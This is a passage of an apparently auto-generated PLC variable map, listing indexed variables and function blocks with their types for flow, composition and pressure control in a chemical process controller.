+24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; 